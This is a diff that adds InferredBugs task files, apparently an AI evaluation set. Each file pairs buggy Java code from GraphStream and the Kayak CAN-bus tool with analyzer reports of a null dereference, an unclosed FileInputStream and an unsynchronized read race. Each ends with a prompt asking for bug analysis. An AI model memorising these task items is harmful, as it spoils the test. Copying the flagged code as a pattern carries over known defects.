+	 *        group may be added.
+	 *        <ul>
+	 *            <li>check an element matches the style and in this case
+     *                create the group by adding the element.</li>
+     *            <li>else do nothing.</li>
+     *        </ul></li>
+     *   <li>The style is a kind or class style.
+     *        <ul>
+     *            <li>check all the groups in the kind of the style
+	 *                  (graph, node, edge, sprite) and only in this kind (since other will never
+	 *                  be affected).</li>
+	 *            <li>remove all groups of this kind.</li>
+	 *            <li>add all elements of this kind anew to recreate the group.</li>
+	 *        </ul>
+	 *   </li>
+	 * </ol>
+	 */
+	protected void checkForNewStyle(Rule newRule) {
+		switch (newRule.selector.type) {
+		case GRAPH:
+			if (newRule.selector.getId() != null)
+				checkForNewIdStyle(newRule, byGraphIdGroups);
+			else
+				checkForNewStyle(newRule, byGraphIdGroups);
+			break;
+		case NODE:
+			if (newRule.selector.getId() != null)
+				checkForNewIdStyle(newRule, byNodeIdGroups);
+			else
+				checkForNewStyle(newRule, byNodeIdGroups);
+			break;
+		case EDGE:
+			if (newRule.selector.getId() != null)
+				checkForNewIdStyle(newRule, byEdgeIdGroups);
+			else
+				checkForNewStyle(newRule, byEdgeIdGroups);
+			break;
+		case SPRITE:
+			if (newRule.selector.getId() != null)
+				checkForNewIdStyle(newRule, bySpriteIdGroups);
+			else
+				checkForNewStyle(newRule, bySpriteIdGroups);
+			break;
+		case ANY:
+		default:
+			throw new RuntimeException("What ?");
+		}
+	}
+
+	/**
+	 * Check for a new specific style (applies only to one element).
+	 * 
+	 * @param newRule
+	 *            The new style rule.
+	 * @param elt2grp
+	 *            The name space.
+	 */
+	protected void checkForNewIdStyle(Rule newRule,
+			HashMap<String, String> elt2grp) {
+		// There is only one element that matches the identifier.
+
+		Element element = getElement(newRule.selector.getId(), elt2grp);
+
+		if (element != null) {
+			checkElementStyleGroup(element);
+			// removeElement( element ); // Remove the element from its old
+			// group. Potentially delete a group.
+			// addElement( element ); // Add the element to its new own group
+			// (since this is an ID style).
+		}
+	}
+
+	/**
+	 * Check for a new kind or class style in a given name space (node, edge,
+	 * sprite, graph).
+	 * 
+	 * @param newRule
+	 *            The new style rule.
+	 * @param elt2grp
+	 *            The name space.
+	 */
+	protected void checkForNewStyle(Rule newRule,
+			HashMap<String, String> elt2grp) {
+		ArrayList<Element> elementsToCheck = new ArrayList<Element>();
+
+		for (String eltId : elt2grp.keySet())
+			elementsToCheck.add(getElement(eltId, elt2grp));
+
+		for (Element element : elementsToCheck) {
+			checkElementStyleGroup(element);
+			// removeElement( element );
+			// addElement( element );
+		}
+	}
+
+	// Utility
+
+	@Override
+	public String toString() {
+		StringBuilder builder = new StringBuilder();
+
+		builder.append(String.format("Style groups (%d) :%n", groups.size()));
+
+		for (StyleGroup group : groups.values()) {
+			builder.append(group.toString(1));
+			builder.append(String.format("%n"));
+		}
+
+		return builder.toString();
+	}
+
+	// Inner classes
+
+	/**
+	 * Set of events (meta-classes) actually active.
+	 * 
+	 * <p>
+	 * The event set contains the set of events actually occurring. This is used
+	 * to select alternate styles. The events actually occurring are in
+	 * precedence order. The last one is the most important.
+	 * </p>
+	 * 
+	 * @author Antoine Dutot
+	 */
+	public class EventSet {
+		public ArrayList<String> eventSet = new ArrayList<String>();
+
+		public String events[] = new String[0];
+
+		/**
+		 * Add an event to the set.
+		 * 
+		 * @param event
+		 *            The event to add.
+		 */
+		public void pushEvent(String event) {
+			eventSet.add(event);
+			events = eventSet.toArray(events);
+		}
+
+		/**
+		 * Remove an event from the set.
+		 * 
+		 * @param event
+		 *            The event to remove.
+		 */
+		public void popEvent(String event) {
+			int index = eventSet.lastIndexOf(event);
+
+			if (index >= 0)
+				eventSet.remove(index);
+
+			events = eventSet.toArray(events);
+		}
+
+		/**
+		 * The set of events in order, the most important at the end.
+		 * 
+		 * @return The event set.
+		 */
+		public String[] getEvents() {
+			return events;
+		}
+	}
+
+	/**
+	 * All the style groups sorted by their Z index.
+	 * 
+	 * <p>
+	 * This structure is maintained by each time a group is added or removed, or
+	 * when the style of a group changed.
+	 * </p>
+	 * 
+	 * @author Antoine Dutot
+	 */
+	public class ZIndex implements Iterable<HashSet<StyleGroup>> {
+		/**
+		 * Ordered set of groups.
+		 */
+		public ArrayList<HashSet<StyleGroup>> zIndex = new ArrayList<HashSet<StyleGroup>>();
+
+		/**
+		 * Knowing a group, tell if its Z index.
+		 */
+		public HashMap<String, Integer> reverseZIndex = new HashMap<String, Integer>();
+
+		/**
+		 * New empty Z index.
+		 */
+		public ZIndex() {
+			initZIndex();
+		}
+
+		protected void initZIndex() {
+			zIndex.ensureCapacity(256);
+
+			for (int i = 0; i < 256; i++)
+				zIndex.add(null);
+		}
+
+		/**
+		 * Iterator on the set of Z index cells. Each item is a set of style
+		 * groups that pertain to the same Z index.
+		 * 
+		 * @return Iterator on the Z index.
+		 */
+		protected Iterator<HashSet<StyleGroup>> getIterator() {
+			return new ZIndexIterator();
+		}
+
+		public Iterator<HashSet<StyleGroup>> iterator() {
+			return getIterator();
+		}
+
+		/**
+		 * A new group appeared, put it in the z index.
+		 * 
+		 * @param group
+		 *            The group to add.
+		 */
+		protected void groupAdded(StyleGroup group) {
+			int z = convertZ(group.getZIndex());
+
+			if (zIndex.get(z) == null)
+				zIndex.set(z, new HashSet<StyleGroup>());
+
+			zIndex.get(z).add(group);
+			reverseZIndex.put(group.getId(), z);
+		}
+
+		/**
+		 * A group eventually changed, check its location.
+		 * 
+		 * @param group
+		 *            The group to check.
+		 */
+		protected void groupChanged(StyleGroup group) {
+			int oldZ = reverseZIndex.get(group.getId());
+			int newZ = convertZ(group.getZIndex());
+
+			if (oldZ != newZ) {
+				HashSet<StyleGroup> map = zIndex.get(oldZ);
+
+				if (map != null) {
+					map.remove(group);
+					reverseZIndex.remove(group.getId());
+
+					if (map.isEmpty())
+						zIndex.set(oldZ, null);
+				}
+
+				groupAdded(group);
+			}
+		}
+
+		/**
+		 * A group was removed, remove it from the Z index.
+		 * 
+		 * @param group
+		 *            The group to remove.
+		 */
+		protected void groupRemoved(StyleGroup group) {
+			int z = convertZ(group.getZIndex());
+
+			HashSet<StyleGroup> map = zIndex.get(z);
+
+			if (map != null) {
+				map.remove(group);
+				reverseZIndex.remove(group.getId());
+
+				if (map.isEmpty())
+					zIndex.set(z, null);
+			} else {
+				throw new RuntimeException("Inconsistency in Z-index");
+			}
+		}
+
+		public void clear() {
+			zIndex.clear();
+			reverseZIndex.clear();
+			initZIndex();
+		}
+
+		/**
+		 * Convert a [-127,127] value into a [0,255] value and check bounds.
+		 * 
+		 * @param z
+		 *            The Z value to convert.
+		 * @return The Z value converted and bounded to [0,255].
+		 */
+		protected int convertZ(int z) {
+			z += 127;
+
+			if (z < 0)
+				z = 0;
+			else if (z > 255)
+				z = 255;
+
+			return z;
+		}
+
+		@Override
+		public String toString() {
+			StringBuilder sb = new StringBuilder();
+
+			sb.append(String.format("Z index :%n"));
+
+			for (int i = 0; i < 256; i++) {
+				if (zIndex.get(i) != null) {
+					sb.append(String.format("    * %d -> ", i - 127));
+
+					HashSet<StyleGroup> map = zIndex.get(i);
+
+					for (StyleGroup g : map)
+						sb.append(String.format("%s ", g.getId()));
+
+					sb.append(String.format("%n"));
+				}
+			}
+
+			return sb.toString();
+		}
+
+		public class ZIndexIterator implements Iterator<HashSet<StyleGroup>> {
+			public int index = 0;
+
+			public ZIndexIterator() {
+				zapUntilACell();
+			}
+
+			protected void zapUntilACell() {
+				while (index < 256 && zIndex.get(index) == null)
+					index++;
+			}
+
+			public boolean hasNext() {
+				return (index < 256);
+			}
+
+			public HashSet<StyleGroup> next() {
+				if (hasNext()) {
+					HashSet<StyleGroup> cell = zIndex.get(index);
+					index++;
+					zapUntilACell();
+					return cell;
+				}
+
+				return null;
+			}
+
+			public void remove() {
+				throw new RuntimeException(
+						"This iterator does not support removal.");
+			}
+		}
+	}
+
+	/**
+	 * Set of groups that cast a shadow.
+	 * 
+	 * @author Antoine Dutot
+	 */
+	public class ShadowSet implements Iterable<StyleGroup> {
+		/**
+		 * The set of groups casting shadow.
+		 */
+		protected HashSet<StyleGroup> shadowSet = new HashSet<StyleGroup>();
+
+		/**
+		 * Iterator on the set of groups that cast a shadow.
+		 * 
+		 * @return An iterator on the shadow style group set.
+		 */
+		protected Iterator<StyleGroup> getIterator() {
+			return shadowSet.iterator();
+		}
+
+		public Iterator<StyleGroup> iterator() {
+			return getIterator();
+		}
+
+		/**
+		 * A group appeared, check its shadow status.
+		 * 
+		 * @param group
+		 *            The group added.
+		 */
+		protected void groupAdded(StyleGroup group) {
+			if (group.getShadowMode() != ShadowMode.NONE)
+				shadowSet.add(group);
+		}
+
+		/**
+		 * A group eventually changed, check its shadow status.
+		 * 
+		 * @param group
+		 *            The group that changed.
+		 */
+		protected void groupChanged(StyleGroup group) {
+			if (group.getShadowMode() == ShadowMode.NONE)
+				shadowSet.remove(group);
+			else
+				shadowSet.add(group);
+		}
+
+		/**
+		 * A group was removed, remove it from the shadow if needed.
+		 * 
+		 * @param group
+		 *            The group removed.
+		 */
+		protected void groupRemoved(StyleGroup group) {
+			// Faster than to first test its existence or shadow status :
+
+			shadowSet.remove(group);
+		}
+
+		protected void clear() {
+			shadowSet.clear();
+		}
+	}
+
+	/**
+	 * Iterator that allows to browse all graph elements of a given kind (nodes,
+	 * edges, sprites, graphs) as if they where in a single set, whereas they
+	 * are in style groups.
+	 * 
+	 * @author Antoine Dutot
+	 * @param <E>
+	 *            The kind of graph element.
+	 */
+	protected class ElementIterator<E extends Element> implements Iterator<E> {
+		protected HashMap<String, String> elt2grp;
+
+		protected Iterator<String> elts;
+
+		public ElementIterator(HashMap<String, String> elements2groups) {
+			elt2grp = elements2groups;
+			elts = elements2groups.keySet().iterator();
+		}
+
+		public boolean hasNext() {
+			return elts.hasNext();
+		}
+
+		@SuppressWarnings("unchecked")
+		public E next() {
+			String eid = elts.next();
+			String gid = elt2grp.get(eid);
+			StyleGroup grp = groups.get(gid);
+
+			return (E) grp.getElement(eid);
+		}
+
+		public void remove() {
+			throw new RuntimeException(
+					"remove not implemented in this iterator");
+		}
+	}
+
+	/**
+	 * Dummy set of nodes.
+	 */
+	protected class NodeSet implements Iterable<Node> {
+		@SuppressWarnings("unchecked")
+		public Iterator<Node> iterator() {
+			return (Iterator<Node>) getNodeIterator();
+		}
+	}
+
+	/**
+	 * Dummy set of edges.
+	 */
+	protected class EdgeSet implements Iterable<Edge> {
+		@SuppressWarnings("unchecked")
+		public Iterator<Edge> iterator() {
+			return (Iterator<Edge>) getEdgeIterator();
+		}
+	}
+
+	/**
+	 * Dummy set of sprites.
+	 */
+	protected class SpriteSet implements Iterable<GraphicSprite> {
+		@SuppressWarnings("unchecked")
+		public Iterator<GraphicSprite> iterator() {
+			return (Iterator<GraphicSprite>) getSpriteIterator();
+		}
+	}
+
+	protected class GraphSet implements Iterable<GraphicGraph> {
+		@SuppressWarnings("unchecked")
+		public Iterator<GraphicGraph> iterator() {
+			return (Iterator<GraphicGraph>) getGraphIterator();
+		}
+	}
+
+}
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `oldGroup` last assigned on line 700 could be null and is dereferenced at line 704.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void StyleGroupSet.checkElementStyleGroup(Element)
+
+### Procedure Id:
+org.graphstream.ui.graphicGraph.StyleGroupSet.checkElementStyleGroup(org.graphstream.graph.Element):.bae9d98714667c4e885c5ab8b9ae0ba9
+
+### File:
+src/org/graphstream/ui/graphicGraph/StyleGroupSet.java
+
+### Key:
+StyleGroupSet.java|checkElementStyleGroup|NULL_DEREFERENCE
+
+### Node Key:
+f18141fe1d42f49faef1cd448e17057e
+
+### Hash:
+3b2ecbdc12506227fff27941f838b274
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-6097/instruction.md b/inferredbugs-6097/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..04038af33fa584987015f7cd50902ad946f28852
--- /dev/null
+++ b/inferredbugs-6097/instruction.md
@@ -0,0 +1,370 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** Kayak
+**Bug ID:** 27
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/**
+ * 	This file is part of Kayak.
+ *
+ *	Kayak is free software: you can redistribute it and/or modify
+ *	it under the terms of the GNU Lesser General Public License as published by
+ *	the Free Software Foundation, either version 3 of the License, or
+ *	(at your option) any later version.
+ *
+ *	Kayak is distributed in the hope that it will be useful,
+ *	but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ *	GNU General Public License for more details.
+ *
+ *	You should have received a copy of the GNU Lesser General Public License
+ *	along with Kayak.  If not, see <http://www.gnu.org/licenses/>.
+ *
+ */
+package com.github.kayak.core;
+
+import java.io.BufferedReader;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.FileNotFoundException;
+import java.io.FileOutputStream;
+import java.io.FileWriter;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.io.PrintWriter;
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.Set;
+import java.util.logging.Level;
+import java.util.logging.Logger;
+import java.util.regex.Pattern;
+import java.util.zip.GZIPInputStream;
+import java.util.zip.GZIPOutputStream;
+
+/**
+ * Represents an already existing log file. On creation the file is parsed and
+ * the relevant content is available as properties.
+ * @author Jan-Niklas Meier <dschanoeh@googlemail.com>
+ */
+public class LogFile {
+
+    private static final Logger logger = Logger.getLogger(LogFile.class.getCanonicalName());
+
+    private Boolean compressed;
+    private File file;
+    private InputStream inputStream;
+    private String description;
+    private String platform;
+    private HashMap<String, String> deviceAlias;
+    private long length;
+
+    public static final Pattern platformPattern = Pattern.compile("[A-Z0-9_]+");
+    public static final Pattern descriptionPattern = Pattern.compile("[a-zA-Z0-9\\s]+");
+    public static final Pattern descriptionLinePattern = Pattern.compile("DESCRIPTION \"[a-zA-Z0-9\\s]+\"");
+    public static final Pattern platformLinePattern = Pattern.compile("PLATFORM [A-Z0-9_]+");
+    public static final Pattern deviceAliasLinePattern = Pattern.compile("DEVICE_ALIAS [A-Za-z0-9]+ [a-z0-9]{1,16}");
+
+    public long getLength() {
+        return length;
+    }
+
+    public long getSize() {
+        return file.length();
+    }
+
+    public File getFile() {
+        return file;
+    }
+
+    public String getAlias(String s) {
+        return deviceAlias.get(s);
+    }
+
+    public ArrayList<String> getBusses() {
+        ArrayList<String> busNames = new ArrayList<String>();
+        Set<String> keys = deviceAlias.keySet();
+
+        for (String bus : keys) {
+            busNames.add(deviceAlias.get(bus));
+        }
+
+        return busNames;
+
+    }
+
+    public String getDescription() {
+        return description;
+    }
+
+    public String getPlatform() {
+        return platform;
+    }
+
+    public Boolean getCompressed() {
+        return compressed;
+    }
+
+    public String getFileName() {
+        return file.getName();
+    }
+
+    public void setPlatform(String platform) throws FileNotFoundException, IOException {
+        if(!platformPattern.matcher(platform).matches())
+            throw new IllegalArgumentException("Platform must match " + platformPattern.pattern());
+
+        File tempFile = new File(file.getAbsolutePath() + ".tmp");
+        BufferedReader br;
+        PrintWriter pw;
+
+        if(compressed) {
+            GZIPInputStream zipStream = new GZIPInputStream(new FileInputStream(file));
+            br = new BufferedReader(new InputStreamReader(zipStream));
+            GZIPOutputStream outStream = new GZIPOutputStream(new FileOutputStream(tempFile));
+            pw = new PrintWriter(outStream);
+        } else {
+            br = new BufferedReader(new InputStreamReader(new FileInputStream(file)));
+            pw = new PrintWriter(new FileWriter(tempFile));
+        }
+
+        String line = null;
+        boolean written = false;
+
+        while ((line = br.readLine()) != null) {
+            /* If line is found overwrite it */
+            if (!written && line.startsWith(("PLATFORM"))) {
+                pw.println("PLATFORM " + platform);
+                written = true;
+            /* If header has no such field add it */
+            } else if(!written && line.startsWith("(")) {
+                pw.println("PLATFORM " + platform);
+                pw.println(line);
+                written = true;
+            /* Write all other header lines */
+            } else {
+                pw.println(line);
+                pw.flush();
+            }
+        }
+
+        pw.close();
+        br.close();
+
+        if (!file.delete()) {
+            logger.log(Level.WARNING, "Could not delete old file");
+            return;
+        }
+
+        if (!tempFile.renameTo(file)) {
+            logger.log(Level.WARNING, "Could not rename new file to old filename");
+        }
+
+        this.platform = platform;
+    }
+
+    public void setDescription(String description) throws FileNotFoundException, IOException {
+        if(!descriptionPattern.matcher(description).matches())
+            throw new IllegalArgumentException("Description must match " + descriptionPattern.pattern());
+
+        File tempFile = new File(file.getAbsolutePath() + ".tmp");
+        BufferedReader br;
+        PrintWriter pw;
+
+        if(compressed) {
+            GZIPInputStream zipStream = new GZIPInputStream(new FileInputStream(file));
+            br = new BufferedReader(new InputStreamReader(zipStream));
+            GZIPOutputStream outStream = new GZIPOutputStream(new FileOutputStream(tempFile));
+            pw = new PrintWriter(outStream);
+        } else {
+            br = new BufferedReader(new InputStreamReader(new FileInputStream(file)));
+            pw = new PrintWriter(new FileWriter(tempFile));
+        }
+
+        String line = null;
+        boolean written = false;
+
+        while ((line = br.readLine()) != null) {
+            /* If line is found overwrite it */
+            if (!written && line.startsWith(("DESCRIPTION"))) {
+                pw.println("DESCRIPTION \"" + description + "\"");
+                written = true;
+            /* If header has no such field add it */
+            } else if(!written && line.startsWith("(")) {
+                pw.println("DESCRIPTION \"" + description + "\"");
+                pw.println(line);
+                written = true;
+            /* Write all other header lines */
+            } else {
+                pw.println(line);
+                pw.flush();
+            }
+        }
+
+        pw.close();
+        br.close();
+
+        if (!file.delete()) {
+            logger.log(Level.WARNING, "Could not delete old file");
+            return;
+        }
+
+        if (!tempFile.renameTo(file)) {
+            logger.log(Level.WARNING, "Could not rename new file to old filename");
+        }
+
+        this.description = description;
+    }
+
+    public LogFile(File file) throws FileNotFoundException, IOException {
+        this.file = file;
+        this.platform = "";
+        this.description = "";
+        deviceAlias = new HashMap<String, String>();
+        String filename = file.getPath();
+
+        if (filename.endsWith(".log.gz")) {
+            compressed = true;
+            inputStream = new GZIPInputStream(new FileInputStream(file));
+        } else {
+            compressed = false;
+            inputStream = new FileInputStream(file);
+        }
+
+        parseHeader();
+    }
+
+    private void parseHeader() {
+        BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream));
+        try {
+            while (true) {
+                String line = reader.readLine();
+
+                if(descriptionLinePattern.matcher(line).matches()) {
+                    int start = line.indexOf('\"') + 1;
+                    int stop = line.lastIndexOf("\"");
+                    description = line.substring(start, stop);
+                } else if(platformLinePattern.matcher(line).matches()) {
+                    int start = line.indexOf(' ') + 1;
+                    platform = line.substring(start);
+                } else if (deviceAliasLinePattern.matcher(line).matches()) {
+                    int start = line.indexOf(' ') + 1;
+                    int stop = line.lastIndexOf(' ');
+                    String alias = line.substring(start, stop);
+                    String bus = line.substring(stop + 1);
+                    deviceAlias.put(bus, alias);
+                /*
+                 * All lines that are not recognized and not pure whitespace cause
+                 * the header parsing to abort.
+                 */
+                } else if (!line.matches("\\s")) {
+                        if (description.equals("")) {
+                            description = file.getName();
+                        }
+                        if (platform.equals("")) {
+                            platform = "No platform";
+                        }
+                        break;
+                }
+            }
+        } catch (IOException ex) {
+            logger.log(Level.WARNING, "IOException while loading log file.", ex);
+        } finally {
+            try {
+                reader.close();
+            } catch (Exception ex) {
+                logger.log(Level.WARNING, "Could not close reader.", ex);
+            }
+        }
+
+        /* TODO: get length of file */
+    }
+
+    @Override
+    public boolean equals(Object obj) {
+        if (obj == null) {
+            return false;
+        }
+        if (getClass() != obj.getClass()) {
+            return false;
+        }
+        final LogFile other = (LogFile) obj;
+        if(other.getFileName().equals(getFileName()))
+            return true;
+
+        return false;
+    }
+
+    @Override
+    public int hashCode() {
+        return getFileName().hashCode();
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.io.FileInputStream` acquired by call to `FileInputStream(...)` at line 168 is not released after line 168.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void LogFile.setDescription(String)
+
+### Procedure Id:
+com.github.kayak.core.LogFile.setDescription(java.lang.String):void.aaa234dd29a81291a6ee5d3be75a441e
+
+### File:
+Kayak-core/src/main/java/com/github/kayak/core/LogFile.java
+
+### Key:
+LogFile.java|setDescription|RESOURCE_LEAK
+
+### Node Key:
+474ab20704657fa0cac866ca9edcdaa0
+
+### Hash:
+3bf1032a72bc2fc1438e8554bf45b953
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-6099/instruction.md b/inferredbugs-6099/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..75c3c0ab5cdc1e03e39de6e003edb6a11ed7d305
--- /dev/null
+++ b/inferredbugs-6099/instruction.md
@@ -0,0 +1,293 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** Kayak
+**Bug ID:** 11
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/**
+ * 	This file is part of Kayak.
+ *	
+ *	Kayak is free software: you can redistribute it and/or modify
+ *	it under the terms of the GNU Lesser General Public License as published by
+ *	the Free Software Foundation, either version 3 of the License, or
+ *	(at your option) any later version.
+ *	
+ *	Kayak is distributed in the hope that it will be useful,
+ *	but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ *	GNU General Public License for more details.
+ *	
+ *	You should have received a copy of the GNU Lesser General Public License
+ *	along with Kayak.  If not, see <http://www.gnu.org/licenses/>.
+ *	
+ */
+package com.github.kayak.core;
+
+import java.io.IOException;
+import java.io.InputStreamReader;
+import java.io.PrintWriter;
+import java.net.InetSocketAddress;
+import java.net.Socket;
+import java.util.logging.Level;
+import java.util.logging.Logger;
+
+/**
+ * A RAWConnection extends the {@link SocketcandConnection} and adds methods
+ * that bring a socketcand in BCM mode. Frames are delivered asynchronously
+ * through an own thread.
+ * @author Jan-Niklas Meier <dschanoeh@googlemail.com>
+ *
+ */
+public class BCMConnection extends SocketcandConnection implements Runnable {
+
+    private static final Logger logger = Logger.getLogger(BCMConnection.class.getName());
+    private Socket socket;
+    private PrintWriter output;
+    private Thread thread;
+    private InputStreamReader input;
+    private Boolean connected = false;
+
+    public Boolean isConnected() {
+        return connected;
+    }
+
+    public BCMConnection(BusURL url) {
+        this.host = url.getHost();
+        this.port = url.getPort();
+        this.busName = url.getBus();
+    }
+
+    public void open() {
+        InetSocketAddress address = new InetSocketAddress(host, port);
+
+        try {
+            socket = new Socket();
+            socket.connect(address);
+            socket.setSoTimeout(1000);
+
+            input = new InputStreamReader(socket.getInputStream());
+            setInput(input);
+
+            output = new PrintWriter(socket.getOutputStream(), true);
+
+            String ret = getElement();
+            if (!ret.equals("< hi >")) {
+                logger.log(Level.SEVERE, "Did not receive greeting from host.");
+            }
+
+            output.print("< open " + busName + " >");
+            output.flush();
+
+            ret = getElement();
+            if (!ret.equals("< ok >")) {
+                logger.log(Level.SEVERE, "Could not open bus");
+            }
+            socket.setSoTimeout(100);
+
+        } catch (Exception e) {
+            logger.log(Level.SEVERE, "IOException while creating the socket.", e);
+            return;
+        }
+
+        /* Start worker thread for frame reception */
+        thread = new Thread(this);
+        thread.start();
+        connected = true;
+    }
+
+    public void close() {
+        if (thread != null && thread.isAlive()) {
+            try {
+                thread.interrupt();
+                thread.join();
+            } catch (Exception e) {
+            }
+        }
+
+        try {
+            socket.close();
+        } catch (IOException e) {
+        }
+        connected = false;
+    }
+
+    public void subscribeTo(int id, int sec, int usec) {
+        synchronized(output) {
+            output.print("< subscribe "
+                    + Integer.toString(sec) + " "
+                    + Integer.toString(usec) + " "
+                    + Integer.toHexString(id) + " >");
+            output.flush();
+        }
+    }
+
+    public void unsubscribeFrom(int id) {
+        synchronized(output) {
+            output.print("< unsubscribe " + Integer.toHexString(id) + " >");
+            output.flush();
+        }
+    }
+
+    public void addSendJob(Frame f, int sec, int usec) {
+        synchronized(output) {
+            output.print("< add "
+                    + Integer.toString(sec) + " "
+                    + Integer.toString(usec) + " "
+                    + Integer.toHexString(f.getIdentifier()) + " "
+                    + Integer.toString(f.getLength()) + " "
+                    + Util.byteArrayToHexString(f.getData()) + " >");
+            output.flush();
+        }
+    }
+
+    public void updateSendJob(Frame f) {
+        synchronized(output) {
+            output.print("< add "
+                    + Integer.toHexString(f.getIdentifier()) + " "
+                    + Integer.toString(f.getLength()) + " "
+                    + Util.byteArrayToHexString(f.getData()) + " >");
+            output.flush();
+        }
+    }
+
+    public void sendFrame(Frame f) {
+        StringBuilder sb = new StringBuilder();
+        sb.append("< send ");
+        sb.append(Integer.toHexString(f.getIdentifier()));
+        sb.append(' ');
+        sb.append(Integer.toString(f.getLength()));
+        sb.append(' ');
+        String data = Util.byteArrayToHexString(f.getData());
+        for(int i=0;i<data.length();i+=2) {
+            sb.append(data.charAt(i));
+            sb.append(data.charAt(i+1));
+            sb.append(' ');
+        }
+        sb.append(">");
+        synchronized(output) {
+            output.print(sb.toString());
+            output.flush();
+        }
+    }
+
+    @Override
+    public void run() {
+        StringBuilder sb;
+        
+        while (true) {
+            if(Thread.interrupted())
+                return;
+
+            try {
+                String frame = getElement();
+
+                String[] fields = frame.split("\\s");
+
+                /* We received a frame */
+                if (fields[1].equals("frame")) {
+                    try {
+                        sb = new StringBuilder(16);
+                        for (int i = 4; i < fields.length-1; i++) {
+                            sb.append(fields[i]);
+                        }
+                        Frame f = new Frame(Integer.valueOf(fields[2], 16), Util.hexStringToByteArray(sb.toString()));
+                        int pos = 0;
+                        for(;pos<fields[3].length();pos++) {
+                            if(fields[3].charAt(pos) =='.')
+                                break;
+                        }
+                        long timestamp = 1000000 * Long.parseLong(fields[3].substring(0, pos)) + Long.parseLong(fields[3].substring(pos+1));
+                        f.setTimestamp(timestamp);
+                        FrameReceiver receiver = this.getReceiver();
+                        if (receiver != null) {
+                            receiver.newFrame(f);
+                        }
+
+                    } catch (Exception ex) {
+                        logger.log(Level.WARNING, "Could not properly deliver CAN frame", ex);
+                    }
+                } else if (fields[1].equals("error")) {
+                    logger.log(Level.WARNING, "Received error from socketcand: {0}", frame);
+                }
+            } catch(InterruptedException ex) {
+                logger.log(Level.WARNING, "Interrupted exception. Shutting down connection thread");
+                return;
+            } catch (IOException ex) {
+                /* 
+                 * A read from the socket may time out if there are very few frames.
+                 * this will cause an IOException. This is ok so we will ignore these
+                 * exceptions
+                 */
+            }
+        }
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Read/Write race. Non-private method `com.github.kayak.core.BCMConnection.unsubscribeFrom` reads without synchronization from `this.com.github.kayak.core.BCMConnection.output`. Potentially races with write in method `BCMConnection.open()`.
+ Reporting because this access may occur on a background thread.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void BCMConnection.unsubscribeFrom(int)
+
+### Procedure Id:
+com.github.kayak.core.BCMConnection.unsubscribeFrom(int):void.d9e96398757d66e49497fc8ae7835f22
+
+### File:
+Kayak-core/src/main/java/com/github/kayak/core/BCMConnection.java
+
+### Key:
+BCMConnection.java|unsubscribeFrom|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+885a059cae88cd6371861bc9145de056
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-6180/instruction.md b/inferredbugs-6180/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..053c4820c1b644e0dc2086a0609981b13767ad6c
--- /dev/null
+++ b/inferredbugs-6180/instruction.md
@@ -0,0 +1,483 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** storm-crawler
+**Bug ID:** 39
+**Language:** java
+
+## Bug Information
